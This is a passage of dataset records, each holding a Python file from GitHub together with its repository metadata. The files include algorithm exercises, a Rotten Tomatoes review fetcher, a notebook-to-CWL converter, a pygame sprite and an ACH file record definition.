ch=='(':\n                ans += s[sidx:i]\n                sidx = i+1\n            elif ch==')':\n                key = s[sidx:i]\n                ans += knowledge.get(key, '?')\n                sidx = i+1\n        return ans\n\n    \"\"\" 1808. 好因子的最大数目 #hard\n问题等价于: 给定一个数字 n, 可以拆分成若干个数字 (相加 =n), 要求这些数字之积最大.\n限制: 所给数字 1e9\n提示: 拆分出来的数字中不会出现大于等于4的. 这是因为, `2(x-2)>=x` 在 `x>=4` 时恒成立.\n思路1: 根据公式计算拆分结果, 然后用 #快速幂 计算.\n    根据提示, 可知最后拆分的结果一定只包含 2,3. 进一步可知: 数字2出现的次数不会超过两次: 因为若出现3次, 将其替换为两个3是更好的选择.\n    综上: 计算 `a,b = divmod(n, 3)` 若余数 b==1, 说明3的数量为 a-1 (要进行拆分).\n复杂度: 操作次数是常数时间的, 快速幂的复杂度为 O(log n).\n关联: “0343. 整数拆分” see [官答](https://leetcode.cn/problems/integer-break/solution/zheng-shu-chai-fen-by-leetcode-solution/)\n\"\"\"\n    def maxNiceDivisors(self, primeFactors: int) -> int:\n        # 特判\n        if primeFactors==1: return 1\n        \n        mod = 10**9 + 7\n        a,b = divmod(primeFactors, 3)\n        r = 1\n        if b == 1:\n            # a个3, 剩余一个1; 应该拆成两个2.\n            a = a-1; r = 4\n        elif b==2:\n            r = 2\n        return pow(3, a, mod) * r % mod\n    \n    \"\"\" 0343. 整数拆分 #medium 同1808 \"\"\"\n    def integerBreak(self, n: int) -> int:\n        # 特判: 要求拆分数量 >=2\n        if n<=3: return n-1\n        a,b = divmod(n, 3)\n        if b==1: a-=1; b=4\n        elif b==0: b=1\n        return pow(3, a) * (b)\nsol = Solution()\nresult = [\n    # sol.numDifferentIntegers(word = \"a123bc34d8ef34\"),\n    # sol.evaluate(s = \"(name)is(age)yearsold\", knowledge = [[\"name\",\"bob\"],[\"age\",\"two\"]]),\n    # sol.evaluate(s = \"hi(name)\", knowledge = [[\"a\",\"b\"]]),\n    sol.maxNiceDivisors(5),\n    sol.maxNiceDivisors(8),\n    sol.maxNiceDivisors(6),\n]\nfor r in result:\n    print(r)\n","repo_name":"Lightblues/Leetcode","sub_path":"LC-contest/201-250/234.py","file_name":"234.py","file_ext":"py","file_size_in_byte":3449,"program_lang":"python","lang":"zh","doc_type":"code","stars":6,"dataset":"github-code","pt":"79"}
+{"seq_id":"17849080284","text":"from typing import List\n\n\ndef calculate_cost(steps: int) -> int:\n    return (steps * (steps + 1)) // 2\n\n\ndef fuel_required(positions: List[int]) -> List[int]:\n    fuel: List[int] = []\n    min_pos = min(positions)\n    max_pos = max(positions)\n\n    for current_pos in range(min_pos, max_pos + 1):\n        fuel.append(sum(abs(position - current_pos) for position in positions))\n\n    return fuel\n\n\ndef fuel_required2(positions: List[int]) -> List[int]:\n    fuel: List[int] = []\n    min_pos = min(positions)\n    max_pos = max(positions)\n\n    for current_pos in range(min_pos, max_pos + 1):\n        fuel.append(sum(calculate_cost(abs(position - current_pos)) for position in positions))\n\n    return fuel\n\n\npositions = [int(pos) for pos in open('2021//input//day7.txt').readline().split(',')]\nprint(\"Part 1:\", min(fuel_required(positions)))\nprint(\"Part 2:\", min(fuel_required2(positions)))\n","repo_name":"TessFerrandez/AdventOfCode-Python","sub_path":"2021/day7.py","file_name":"day7.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"79"}
+{"seq_id":"14252235550","text":"import sys\nsys.stdin = open('M.txt')\n\n\n# 적록색약이 아닌경우\ndef rgb_dfs(r, c):\n    # 상 우 하 좌\n    d = ((-1, 0), (0, 1), (1, 0), (0, -1))\n    rgb_visited[r][c] = 1\n    for i in range(4):\n        nr, nc = r + d[i][0], c + d[i][1]\n        if 0 <= nr < N and 0 <= nc < N and not rgb_visited[nr][nc] and matrix[r][c] == matrix[nr][nc]:\n            rgb_dfs(nr, nc)\n    else:\n        return 1\n\n\n# 적록색약인 경우\ndef rb_dfs(r, c):\n    # 상 우 하 좌\n    d = ((-1, 0), (0, 1), (1, 0), (0, -1))\n    rb_visited[r][c] = 1\n    for i in range(4):\n        nr, nc = r + d[i][0], c + d[i][1]\n        if 0 <= nr < N and 0 <= nc < N and not rb_visited[nr][nc]:\n            if matrix[r][c] in ['R', 'G'] and matrix[nr][nc] in ['R', 'G']:\n                rb_dfs(nr, nc)\n            elif matrix[r][c] == 'B' and matrix[nr][nc] == 'B':\n                rb_dfs(nr, nc)\n    else:\n        return 1\n\n\nN = int(input())\nmatrix = [list(map(str, input())) for _ in range(N)]\ncolorful = colorless = 0\nrgb_visited = [[0 for _ in range(N)] for _ in range(N)]\nrb_visited = [[0 for _ in range(N)] for _ in range(N)]\nfor i in range(N):\n    for j in range(N):\n        if not rgb_visited[i][j]:           # 적록색약이 아닌경우\n            colorful += rgb_dfs(i, j)\n        if not rb_visited[i][j]:            # 적록색약인 경우\n            colorless += rb_dfs(i, j)\n\nprint(colorful, colorless)\n","repo_name":"woohree/ALGO2ITHM_STUDY","sub_path":"baekjoon/04월/0414 알고스팟 이중우선순위큐 적록색약/g5_10026_적록색약/joorii.py","file_name":"joorii.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"}
+{"seq_id":"69960433215","text":"import os\nimport sys\nimport json\nimport utils\nfrom json import loads\nimport jsonlines\n\nprojects = [\n    \"commons-cli\",\"commons-collections\",\"commons-csv\",\n    \"commons-lang\",\"gson\",\"jackson-databind\",\n    \"jfreechart\",\"jsoup\",\"commons-codec\",\n    \"commons-compress\",\"commons-jxpath\",\"commons-math\",\n    \"jackson-core\",\"jackson-dataformat-xml\",\"joda-time\"\n]\n\ndef get_file(dir,saveDir,timeStamp):\n\n    for project in projects:\n        all = []\n        num = 0\n        filenum = 0\n        unique = []\n        new_data = []\n        parsed_mutants = []\n        unparsed_mutants = []\n        final_mutants = []\n\n        for dirpath, _, files in os.walk(dir):\n            for file in files:\n                if \".json\" in file and project in file:\n                    filenum += 1\n                    file_path = os.path.join(dirpath,file)\n                    f= open(file_path)\n                    data = json.load(f) # all mutants\n\n                    num += len(data)\n                    id = 0\n                    for item in data:\n                        new_item = { \n                            \"idss\":item[\"idss\"],\"filename\":item[\"filename\"],\n                            \"old_line_num\":item[\"line\"], # line number selected in original code\n                            \"prob\":item[\"prob\"],\n                            \"old_line_code\":item[\"oldcode\"], # line selected in original code\n                            \"original\": item[\"precode\"] + item[\"oldcode\"] + item[\"aftercode\"],\n                            \"mutated\":item[\"code\"]\n                        }\n                        new_data.append(new_item)\n\n                        # to get parsed mutants - syntactically correct\n                        \n                        original_sets = utils.read_java(new_item[\"filename\"])\n                        mutated_sets = utils.parse_java_func_intervals(new_item[\"mutated\"],new_item[\"filename\"])\n\n                        if len(mutated_sets) == 0:\n                            unparsed_mutants.append(new_item)\n                        else:\n                            parsed_mutants.append(new_item)\n                            selected_line_to_mutate = new_item[\"old_line_code\"]\n                            tag = 0\n\n                            for mutated_set in mutated_sets:\n                                mutated_start = mutated_set[0] # mutated method start line\n                                mutated_method = mutated_set[2] # mutated method\n\n                                for original_set in original_sets:\n                                    original_start = original_set[0] # original method start line\n                                    original_end = original_set[1] # original method end line\n                                    original_method = original_set[2] # original method\n\n                                    if original_start == mutated_start \\\n                                    and new_item[\"old_line_num\"] >= original_start and new_item[\"old_line_num\"] <= original_end:\n                                        mutant = {\n                                            \"idss\": new_item[\"idss\"],\n                                            \"filename\": new_item[\"filename\"],\n                                            \"line_num_to_mutate\": new_item[\"old_line_num\"], # line number selected in original code\n                                            \"prob\": new_item[\"prob\"],\n                                            \"old_line_code\": new_item[\"old_line_code\"], # line selected in original code\n                                            \"original_method\": original_method,\n                                            \"mutated_method\": mutated_method,\n                                            \"start\": original_start\n                                        }\n                                        if mutant not in final_mutants:\n                                            final_mutants.append([mutant])\n                                            tag = 1\n                                            break\n                                    if tag == 1:\n                                        break\n\n        if num != 0:\n            print(project,saveDir,\" all_results:\",num, \" all_mutants:\",len(new_data), \\\n            \" unparsed_mutants:\", len(unparsed_mutants), \\\n            \" parsed_mutants:\",len(parsed_mutants), \\\n            \" final_mutants:\",len(final_mutants))\n\n            if not os.path.exists(saveDir):\n                os.mkdir(saveDir)\n\n            if len(parsed_mutants) > 0:\n                parsed_mutants_saveTo = os.path.join(saveDir,timeStamp + \"_\" + project + \"_parsed_mutants.json\")\n                parsed_mutants_file = open(parsed_mutants_saveTo,\"w+\")\n                parsed_mutants_file.close()\n                with open(parsed_mutants_saveTo, \"a\") as pmfile:\n                    json.dump(parsed_mutants, pmfile)\n            \n            if len(unparsed_mutants) > 0:\n                unparsed_mutants_saveTo = os.path.join(saveDir,timeStamp + \"_\" + project + \"_unparsed_mutants.json\")\n                unparsed_mutants_file = open(unparsed_mutants_saveTo,\"w+\")\n                unparsed_mutants_file.close()\n                with open(unparsed_mutants_saveTo, \"a\") as umfile:\n                    json.dump(unparsed_mutants, umfile)\n            \n            if len(final_mutants) > 0:\n                final_mutants_saveTo = os.path.join(saveDir,timeStamp + \"_\" + project + \"_final_mutants.jsonl\")\n                final_mutants_file = open(final_mutants_saveTo,\"w+\")\n                final_mutants_file.close()\n                for final_item in final_mutants:\n                    with jsonlines.open(final_mutants_saveTo,\"a\") as finalfile:\n                        finalfile.write_all([final_item])\n\n\nif __name__ == \"__main__\":\n    args = sys.argv[1:]\n    mutant_dir = args[0]\n    saveto_dir = args[1]\n    timeStamp = args[2]\n    get_file(mutant_dir,saveto_dir,timeStamp)\n\n","repo_name":"projectinvestigator/BUGFARM","sub_path":"src/leam/parse_mutants.py","file_name":"parse_mutants.py","file_ext":"py","file_size_in_byte":5926,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"29435588001","text":"import urllib2, json, AlchemyAPI\nimport urllib as urllib\nimport GetRSS\nclass GetTomatoes:\n    print('Imported GetTomatoes successfully.')\n    debugReviewList = [];\n    def __init__(self,apikey=''):\n        if apikey == '':\n            self.KEY='mz7z7f9zm79tc3hcaw3xb85w'\n        else:\n            self.KEY=apikey\n        BASE='http://api.rottentomatoes.com/api/public/v1.0/'\n        self.BASE = BASE\n        self.movieURL=BASE+'movies.json'\n        self.listsURL=BASE+'lists.json'\n        self.GetRSS = GetRSS.GetRSS()\n\n    def debugGetMovieList(self,movieName,movieYear):#Will remove before final version\n        movieSearchURL=self.movieURL+'?'+urllib.urlencode({'apikey':self.KEY, 'q': movieName})\n        movieData = json.loads(urllib2.urlopen(movieSearchURL).read())\n        movieData = movieData['movies']\n        return movieData\n\n    #Create the dictionary of each review with the following properties:\n    #reviewer name, rating, summary text, url, date\n    #(returnReviews[]) = getReviews(String movieName, int movieYear)\n    def getReviews(self, movieName, movieYear):\n        movieSearchURL=self.movieURL+'?'+urllib.urlencode({'apikey':self.KEY, 'q': movieName})\n        movieData = json.loads(urllib2.urlopen(movieSearchURL).read())\n        movieData = movieData['movies']\n        \n        #We need to find the right movie now, because we don't want to just take the 1st result\n        #  Filter by year.\n        correctMovieID=-1\n        correctMovie={}\n        for movie in movieData:\n            if movie['year'] == movieYear:\n                correctMovieID=movie['id']\n                correctMovie=movie\n                break\n        if correctMovieID==-1:\n            raise Exception('Error: Cannot find movie with that year and name.')\n        \n        #Get IMDB id - ask sameen what this is for again\n        movieIMDBNum=correctMovie['alternate_ids']['imdb']\n        print('IMDB ID is '+ movieIMDBNum)\n        \n        #Get all the reviews written\n        reviewSearchURL=self.BASE+'movies/'+correctMovieID+'/reviews.json?'\n        reviewSearchURL = reviewSearchURL +urllib.urlencode({'apikey':self.KEY})\n        reviewData=json.loads(urllib2.urlopen(reviewSearchURL).read())\n        reviewData = reviewData['reviews']\n        #reviewData is list of reviews for the movie found\n\n\n        #We need to take data from each list in put it into a format we like.\n        self.debugReviewList = reviewData\n        returnList=[]\n        for review in reviewData:\n            #Introduce error catching later\n            author=review['critic']\n            date=review['date']\n            link=review['links']['review']\n            try:\n                text=self.GetRSS.getP(link) #Once tihs is fixed, it will work\n            except: #Comment this out to see the error from AlchemyAPI\n                text='N/A'\n            try:\n                score=review['original_score']\n                try: #Score is is number format\n                    score = int(round(score))\n                except: #Score is in letter format\n                    #Get the first letter, and assign a score based on that.\n                    letter = score[0]\n                    if letter == 'A':\n                        score = 4\n                    elif letter == 'B':\n                        score = 3\n                    elif letter == 'C':\n                        score = 2\n                    else:\n                        score = 1\n            except:\n               # score=-1 #If there is no original score, we take the sentiment and assign a score\n                if not text=='N/A':\n                    print('Called sentiment analysis')\n                    sentiment=self.GetRSS.getSentimentFromText(text)\n                    if sentiment < -.2:\n                        score = 1 #Arbitrary score assignments - will have to test for accuracy later\n                    elif sentiment < 0:\n                        score = 2\n                    elif sentiment < .1:\n                        score = 3\n                    else:\n                        score = 4\n                    \n                else:\n                    score=-1 #If there is no original score and no text, we automatically assign -1\n                    #This should be a red flag for the database to NOT import this review\n\n            #Package the review in a dictionary and stick it in the return array\n            if not (score==-1 and text=='N/A'):\n                reviewDictionary={'name':author,'rating':score,'text':text,'url':link,'date':date}\n                returnList.append(reviewDictionary)\n\n        return returnList\n","repo_name":"cyenko/mavenize-rss","sub_path":"GetTomatoes.py","file_name":"GetTomatoes.py","file_ext":"py","file_size_in_byte":4600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"73292995136","text":"'''\n合并两个有序链表，合并完成后依然有序\n输入：1->2->4, 1->3->4\n输出：1->1->2->3->4->4\n思路：初始化两个链表头，其中一个表头用以记录两个单调递增链表比较后的结果，另一个用以返回结果。\n用while循环：\n①如果两个链表不为空，比较进行，并将小的那个赋给合并的链表头。小表头继续走一步，合并表头继续走一步。\n②如果两个链表有其一为空，那么跳出循环，并将另一不为null的链表的后续部分赋给合并链表。\n'''\n\nclass Solution:\n    #非递归\n    def Merge1(self, pHead1, pHead2):\n        if not pHead1:\n            return pHead2\n        if not pHead2:\n            return pHead1\n        mainHead = pHead1 if pHead1.val <= pHead2.val else pHead2 #0 1 4\n        secHead = pHead2 if mainHead == pHead1 else pHead1 # 1 3 5\n        mergeHead = mainHead\n        mainNext = mainHead.next# 这时候的maonNext已经是 1到4后面的\n        while mainNext and secHead:\n            if secHead.val <= mainNext.val:\n                mainHead.next = secHead\n                secHead = secHead.next\n                mainHead.next.next = mainNext\n                mainHead = mainHead.next\n            else:\n                mainHead = mainNext\n                mainNext = mainNext.next\n        if not mainNext:\n            mainHead.next = secHead\n        return mergeHead\n\n    #递归\n    def Merge(self, pHead1, pHead2):\n        if not pHead1:\n            return pHead2\n        if not pHead2:\n            return  pHead1\n        if pHead1.val <= pHead2.val:\n            pHead1.next = self.Merge(pHead1.next, pHead2)\n            return pHead1\n        else:\n            pHead2.next = self.Merge(pHead1, pHead2.next)\n            return pHead2\n\n    def getNewChart(self, list):\n        if list:\n            node = ListNode(list.pop(0))\n            node.next = self.getNewChart(list)\n            return node\n\nclass ListNode:\n    def __init__(self, x):\n        self.val = x\n        self.next = None\n\nif __name__ == '__main__':\n    list1 = [1, 3, 5]\n    list2 = [0, 1, 4]\n    testList1 = Solution().getNewChart(list1)\n    testList2 = Solution().getNewChart(list2)\n    final = Solution().Merge1(testList1, testList2)\n    while final:\n        print(final.val, end=\" \")\n        final = final.next\n\n\n\n\n\n","repo_name":"zhaocheng1996/pyproject","sub_path":"algorithm_test/link/meger_link.py","file_name":"meger_link.py","file_ext":"py","file_size_in_byte":2317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"5748946420","text":"class Node:\n    def __init__(self, data):\n        self.data = data\n        self.next = None\n\n\nclass LinkedList:\n    def __init__(self):\n        self.head = None\n\n    def printList(self):\n        temp = self.head\n        linked_list = \"\"\n\n        while temp:\n            linked_list += (str(temp.data) + \" \")\n            temp = temp.next\n\n        print(linked_list)\n\n    def insertNode(self, value, position):\n        target = Node(value)\n\n        if position == 0:\n            target.next = self.head\n            self.head = target\n            return\n\n        position_counter = 1\n        temp_node = self.head\n\n        while position_counter != position:\n            temp_node = temp_node.next\n            if temp_node is None:\n                print(\"cant insert out of list's range\")\n                return\n            position_counter += 1\n\n        previous_node = self.getPreviousNode(position)\n        target.next = previous_node.next\n        previous_node.next = target\n\n    def getPreviousNode(self, position):\n        position_counter = 1\n        temp_node = self.head\n\n        while position_counter < position:\n            temp_node = temp_node.next\n            position_counter += 1\n\n        return temp_node\n\n    def deleteNode(self, key):\n        temp = self.head\n        if temp is None:\n            print(\"node not found\")\n            return\n\n        if temp.data == key:\n            target_node = self.head\n            self.head = self.head.next\n            target_node = None\n            return\n\n        while temp.next is not None and temp.next.data != key:\n            temp = temp.next\n\n        if temp.next is not None and temp.next.data == key:\n            target_node = temp.next\n            temp.next = target_node.next\n            target_node.next = None\n\n\nlinked_list = LinkedList()\nlinked_list.head = Node(5)\n\nsecond_node = Node(1)\nthird_node = Node(3)\nfourth_node = Node(7)\n\nlinked_list.head.next = second_node\nsecond_node.next = third_node\nthird_node.next = fourth_node\n\nlinked_list.printList()\n\nlinked_list.insertNode(10, 90)\nlinked_list.deleteNode(5)\nlinked_list.printList()\n","repo_name":"Sara-Toughoj/50_Algorithms_Coding_Interview_Questions","sub_path":"Section_9/Singly_linked_list.py","file_name":"Singly_linked_list.py","file_ext":"py","file_size_in_byte":2105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"42452952772","text":"from pathlib import Path\nfrom typing import Union\nimport csv\nimport pandas as pd\n\n\ndef get_evaluation_file_name(path):\n    file_name = path\n    file_name = file_name.rsplit('/', 1)[1]\n    file_name = file_name.replace(\".pt\", \".tsv\")\n    checkpoint = file_name.replace(\"checkpoint\", \"\")\n    checkpoint = checkpoint.replace(\".tsv\", \"\")\n    return file_name.replace(\"checkpoint\", \"evaluation\"), checkpoint\n\n\ndef generate_manifest(manifest, root_path_data):\n    df = pd.DataFrame.from_dict(manifest)\n    save_df_to_tsv(df, Path(root_path_data))\n\n\ndef save_df_to_tsv(dataframe, path: Union[str, Path]):\n    _path = path if isinstance(path, str) else path.as_posix()\n    dataframe.to_csv(\n        _path,\n        sep=\"\\t\",\n        header=True,\n        index=False,\n        encoding=\"utf-8\",\n        escapechar=\"\\\\\",\n        quoting=csv.QUOTE_NONE,\n    )\n\n","repo_name":"dubelbog/st_ch_de","sub_path":"fairseq_cli_stchde/helper_utils.py","file_name":"helper_utils.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"23014006547","text":"import argparse\nimport logging\nimport os\nimport shutil\nimport stat\nimport sys\nimport tempfile\nfrom pathlib import Path\nfrom typing import List, Optional, Tuple, Dict\nfrom urllib.parse import urlparse, ParseResult\n\nimport git  # type: ignore\nimport nbformat  # type: ignore\nimport yaml\nfrom git import Repo\nfrom repo2docker import Repo2Docker  # type: ignore\n\nfrom .cwltoolextractor import AnnotatedIPython2CWLToolConverter\n\nlogger = logging.getLogger('repo2cwl')\nlogger.setLevel(logging.INFO)\n\n\ndef _get_notebook_paths_from_dir(dir_path: str):\n    notebooks_paths = []\n    for path, _, files in os.walk(dir_path):\n        for name in files:\n            if name.endswith('.ipynb'):\n                notebooks_paths.append(os.path.join(path, name))\n    return notebooks_paths\n\n\ndef _store_jn_as_script(notebook_path: str, git_directory_absolute_path: str, bin_absolute_path: str, image_id: str) \\\n        -> Tuple[Optional[Dict], Optional[str]]:\n    with open(notebook_path) as fd:\n        notebook = nbformat.read(fd, as_version=4)\n\n    converter = AnnotatedIPython2CWLToolConverter.from_jupyter_notebook_node(notebook)\n\n    if len(converter._variables) == 0:\n        logger.info(f\"Notebook {notebook_path} does not contains typing annotations. skipping...\")\n        return None, None\n    script_relative_path = os.path.relpath(notebook_path, git_directory_absolute_path)[:-6]\n    script_relative_parent_directories = script_relative_path.split(os.sep)\n    if len(script_relative_parent_directories) > 1:\n        script_absolute_name = os.path.join(bin_absolute_path, os.sep.join(script_relative_parent_directories[:-1]))\n        os.makedirs(\n            script_absolute_name,\n            exist_ok=True)\n        script_absolute_name = os.path.join(script_absolute_name, os.path.basename(script_relative_path))\n    else:\n        script_absolute_name = os.path.join(bin_absolute_path, script_relative_path)\n    script = os.linesep.join([\n        '#!/usr/bin/env ipython',\n        '\"\"\"',\n        'DO NOT EDIT THIS FILE',\n        'THIS FILE IS AUTO-GENERATED BY THE ipython2cwl.',\n        'FOR MORE INFORMATION CHECK https://github.com/giannisdoukas/ipython2cwl',\n        '\"\"\"\\n\\n',\n        converter._wrap_script_to_method(converter._tree, converter._variables)\n    ])\n    with open(script_absolute_name, 'w') as fd:\n        fd.write(script)\n    tool = converter.cwl_command_line_tool(image_id)\n    in_git_dir_script_file = os.path.join(bin_absolute_path, script_relative_path)\n    tool_st = os.stat(in_git_dir_script_file)\n    os.chmod(in_git_dir_script_file, tool_st.st_mode | stat.S_IEXEC)\n    return tool, script_relative_path\n\n\ndef existing_path(path_str: str):\n    path: Path = Path(path_str)\n    if not path.is_dir():\n        raise argparse.ArgumentTypeError(f'Directory: {str(path)} does not exists')\n    return path\n\n\ndef parser_arguments(argv: List[str]):\n    parser = argparse.ArgumentParser()\n    parser.add_argument('repo', type=lambda uri: urlparse(uri, scheme='file'), nargs=1)\n    parser.add_argument('-o', '--output', help='Output directory to store the generated cwl files',\n                        type=existing_path,\n                        required=True)\n    return parser.parse_args(argv)\n\n\ndef setup_logger():\n    handler = logging.StreamHandler(sys.stdout)\n    handler.setLevel(logging.INFO)\n    formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n    handler.setFormatter(formatter)\n    logger.addHandler(handler)\n\n\ndef repo2cwl(argv: Optional[List[str]] = None) -> int:\n    setup_logger()\n    argv = sys.argv[1:] if argv is None else argv\n    args = parser_arguments(argv)\n    uri: ParseResult = args.repo[0]\n    if uri.path.startswith('git@') and uri.path.endswith('.git'):\n        uri = urlparse(f'ssh://{uri.path}')\n    output_directory: Path = args.output\n    supported_schemes = {'file', 'http', 'https', 'ssh'}\n    if uri.scheme not in supported_schemes:\n        raise ValueError(f'Supported schema uris: {supported_schemes}')\n    local_git_directory = os.path.join(tempfile.mkdtemp(prefix='repo2cwl_'), 'repo')\n    if uri.scheme == 'file':\n        if not os.path.isdir(uri.path):\n            raise ValueError(f'Directory does not exists')\n        logger.info(f'copy repo to temp directory: {local_git_directory}')\n        shutil.copytree(uri.path, local_git_directory)\n        try:\n            local_git = git.Repo(local_git_directory)\n        except git.InvalidGitRepositoryError:\n            local_git = git.Repo.init(local_git_directory)\n            local_git.git.add(A=True)\n            local_git.index.commit(\"initial commit\")\n    elif uri.scheme == 'ssh':\n        url = uri.geturl()[6:]\n        logger.info(f'cloning repo {url} to temp directory: {local_git_directory}')\n        local_git = git.Repo.clone_from(url, local_git_directory)\n    else:\n        logger.info(f'cloning repo to temp directory: {local_git_directory}')\n        local_git = git.Repo.clone_from(uri.geturl(), local_git_directory)\n\n    image_id, cwl_tools = _repo2cwl(local_git)\n    logger.info(f'Generated image id: {image_id}')\n    for tool in cwl_tools:\n        base_command_script_name = f'{tool[\"baseCommand\"][len(\"/app/cwl/bin/\"):].replace(\"/\", \"_\")}.cwl'\n        tool_filename = str(output_directory.joinpath(base_command_script_name))\n        with open(tool_filename, 'w') as f:\n            logger.info(f'Creating CWL command line tool: {tool_filename}')\n            yaml.safe_dump(tool, f)\n\n    logger.info(f'Cleaning local temporary directory {local_git_directory}...')\n    shutil.rmtree(local_git_directory)\n    return 0\n\n\ndef _repo2cwl(git_directory_path: Repo) -> Tuple[str, List[Dict]]:\n    \"\"\"\n    Takes a Repo mounted to a local directory. That function will create new files and it will commit the changes.\n    Do not use that function for Repositories you do not want to change them.\n    :param git_directory_path:\n    :return: The generated build image id & the cwl description\n    \"\"\"\n    r2d = Repo2Docker()\n    r2d.target_repo_dir = os.path.join(os.path.sep, 'app')\n    r2d.repo = git_directory_path.tree().abspath\n    bin_path = os.path.join(r2d.repo, 'cwl', 'bin')\n    os.makedirs(bin_path, exist_ok=True)\n    notebooks_paths = _get_notebook_paths_from_dir(r2d.repo)\n\n    tools = []\n    for notebook in notebooks_paths:\n        cwl_command_line_tool, script_name = _store_jn_as_script(\n            notebook,\n            git_directory_path.tree().abspath,\n            bin_path,\n            r2d.output_image_spec\n        )\n        if cwl_command_line_tool is None or script_name is None:\n            continue\n        cwl_command_line_tool['baseCommand'] = os.path.join('/app', 'cwl', 'bin', script_name)\n        tools.append(cwl_command_line_tool)\n    git_directory_path.index.commit(\"auto-commit\")\n\n    r2d.build()\n    # fix dockerImageId\n    for cwl_command_line_tool in tools:\n        cwl_command_line_tool['hints']['DockerRequirement']['dockerImageId'] = r2d.output_image_spec\n    return r2d.output_image_spec, tools\n\n\nif __name__ == '__main__':\n    repo2cwl()\n","repo_name":"common-workflow-lab/ipython2cwl","sub_path":"ipython2cwl/repo2cwl.py","file_name":"repo2cwl.py","file_ext":"py","file_size_in_byte":7024,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"79"}
+{"seq_id":"9140226730","text":"from settings import *\nimport pygame\n\nclass player:\n    def __init__(self, w, pygame, walls):\n        self.w = w\n        self.pygame = pygame\n        self.PX = SX\n        self.PY = SY\n        self.walls = walls\n\n    def draw(self):\n        self.pygame.draw.rect(self.w, BLUE, (self.PX, self.PY, SIZE, SIZE))\n\n    def move(self):\n        keys = self.pygame.key.get_pressed()\n\n        if keys [self.pygame.K_w] and self.PY > TALE:\n            self.PY -= PSPEED\n        if keys [self.pygame.K_s] and self.PY < (len(TUTOR_MAP)-2)*20:\n            self.PY += PSPEED\n        if keys[self.pygame.K_a] and self.PX > TALE:\n            self.PX -= PSPEED\n        if keys[self.pygame.K_d] and self.PX < WIDTH-TALE-TALE:\n            self.PX += PSPEED \n        if keys[self.pygame.K_ESCAPE]:\n            self.pygame.quit()\n\n    def check_touch(self):\n        xmax = self.PX + SIZE\n        ymax = self.PY + SIZE\n        for i in self.walls: #[(x, y)]\n            x, y = i\n            if self.PX > x and self.PX < x+TALE:\n                if self.PY > y and self.PY < y+TALE:\n                    self.PX -= x - self.PX\n    \n    def get_pos(self):\n        return (self.PX, self.PY)\n","repo_name":"Timuruch/Timuruch.github.io","sub_path":"Python/Pygame/Maze(not finished)/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"39587987029","text":"\"\"\"Defines entry detail fields and record type.\"\"\"\n\nfrom typing import Dict\n\nfrom ..constants import (\n    ENTRY_DETAIL_DEFAULT_ADDENDA_RECORD_INDICATOR,\n    ENTRY_DETAIL_RECORD_TYPE_CODE,\n)\nfrom .record_fields import AlphaNumFieldType, FieldDefinition, IntegerFieldType\nfrom .record_type_base import RecordType\n\n\n# pylint: disable=line-too-long\nclass EntryDetailRecordType(RecordType):\n    \"\"\"Define all fields in an entry detail record line of an ACH file.\"\"\"\n\n    field_definition_dict: Dict[str, FieldDefinition] = {\n        \"record_type_code\": FieldDefinition(\n            \"Record Type Code\",\n            IntegerFieldType,\n            length=1,\n            default=ENTRY_DETAIL_RECORD_TYPE_CODE,\n        ),\n        \"transaction_code\": FieldDefinition(\n            \"Transaction Code\", IntegerFieldType, length=2\n        ),\n        \"rdfi_routing\": FieldDefinition(\n            \"RDFI Routing Number\", IntegerFieldType, length=9\n        ),\n        \"rdfi_account_number\": FieldDefinition(\n            \"RDFI Account Number\",\n            AlphaNumFieldType,\n            length=17,\n            auto_correct_input=False,\n        ),\n        \"amount\": FieldDefinition(\n            \"Transaction Amount Expressed As Cents\", IntegerFieldType, length=10\n        ),\n        \"individual_identification_number\": FieldDefinition(\n            \"Individual Identification Number (Alphanumeric)\",\n            AlphaNumFieldType,\n            length=15,\n            required=False,\n        ),\n        \"individual_name\": FieldDefinition(\n            \"Individual Name\", AlphaNumFieldType, length=22\n        ),\n        \"discretionary_data\": FieldDefinition(\n            \"Discretionary Data\", AlphaNumFieldType, length=2, required=False\n        ),\n        \"addenda_record_indicator\": FieldDefinition(\n            \"Addenda Record Indicator\",\n            IntegerFieldType,\n            length=1,\n            default=ENTRY_DETAIL_DEFAULT_ADDENDA_RECORD_INDICATOR,\n        ),\n        \"trace_odfi_identifier\": FieldDefinition(\n            \"Trace Number: ODFI Identifier\", IntegerFieldType, length=8\n        ),\n        \"trace_sequence_number\": FieldDefinition(\n            \"Trace Number: Sequence Number\", IntegerFieldType, length=7\n        ),\n    }\n\n    # pylint: disable=too-many-arguments\n    def __init__(\n        self,\n        transaction_code: int,\n        rdfi_routing: str,\n        rdfi_account_number: str,\n        amount: int,\n        individual_name: str,\n        trace_number: str = None,\n        **kwargs\n    ):\n        kwargs[\"transaction_code\"] = transaction_code\n        kwargs[\"rdfi_routing\"] = rdfi_routing\n        kwargs[\"rdfi_account_number\"] = rdfi_account_number\n        kwargs[\"amount\"] = amount\n        kwargs[\"individual_name\"] = individual_name\n        if trace_number is not None:\n            kwargs[\"trace_odfi_identifier\"] = str(trace_number)[:8]\n            kwargs[\"trace_sequence_number\"] = str(trace_number)[8:15]\n        super().__init__(**kwargs)\n","repo_name":"freemish/ach-file","sub_path":"ach/record_types/entry_detail.py","file_name":"entry_detail.py","file_ext":"py","file_size_in_byte":2948,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
